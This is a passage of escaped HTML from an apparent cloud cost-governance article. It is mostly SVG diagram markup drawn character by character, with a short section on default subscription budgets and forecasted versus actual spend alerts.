text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='260' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='260' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='260' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='260' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='292' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='228' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"3-automated-budgeting-and-alerts\"\u003e3. Automated Budgeting and Alerts\u003c/h2\u003e\n\u003cp\u003eEvery subscription created through the vending process (Article 5) should get a default budget at birth — before any workload lands in it. A $500/month starting budget with notifications at 50%, 80%, 100%, and 110% gives your team escalating signals before spend becomes a Friday problem.\u003c/p\u003e\n\u003ch3 id=\"forecasted-vs-actual-alerts\"\u003eForecasted vs. Actual Alerts\u003c/h3\u003e\n\u003cp\u003eAn \u003ccode\u003eActual\u003c/code\u003e alert fires when you have \u003cem\u003ealready\u003c/em\u003e spent the budget — that\u0026rsquo;s the financial equivalent of a check engine light after the engine seized. A \u003ccode\u003eForecasted\u003c/code\u003e alert fires when the \u003cem\u003eprojected\u003c/em\u003e month-end cost will exceed the threshold, giving you days to act rather than hours. Make the 80% Forecasted alert your primary operational trigger.\u003c/p\u003e\n\u003ch3 id=\"budget-alert-escalation-path\"\u003eBudget Alert Escalation Path\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,144 L 608,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,208 L 344,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,112 L 352,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,128 L 352,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,216 L 360,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,192 L 616,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,216 L 624,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,208.000000 84.000000,202.399994 84.000000,213.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,144.000000 604.000000,138.399994 604.000000,149.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='352' cy='128' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ccircle cx='616' cy='192' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='228' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' 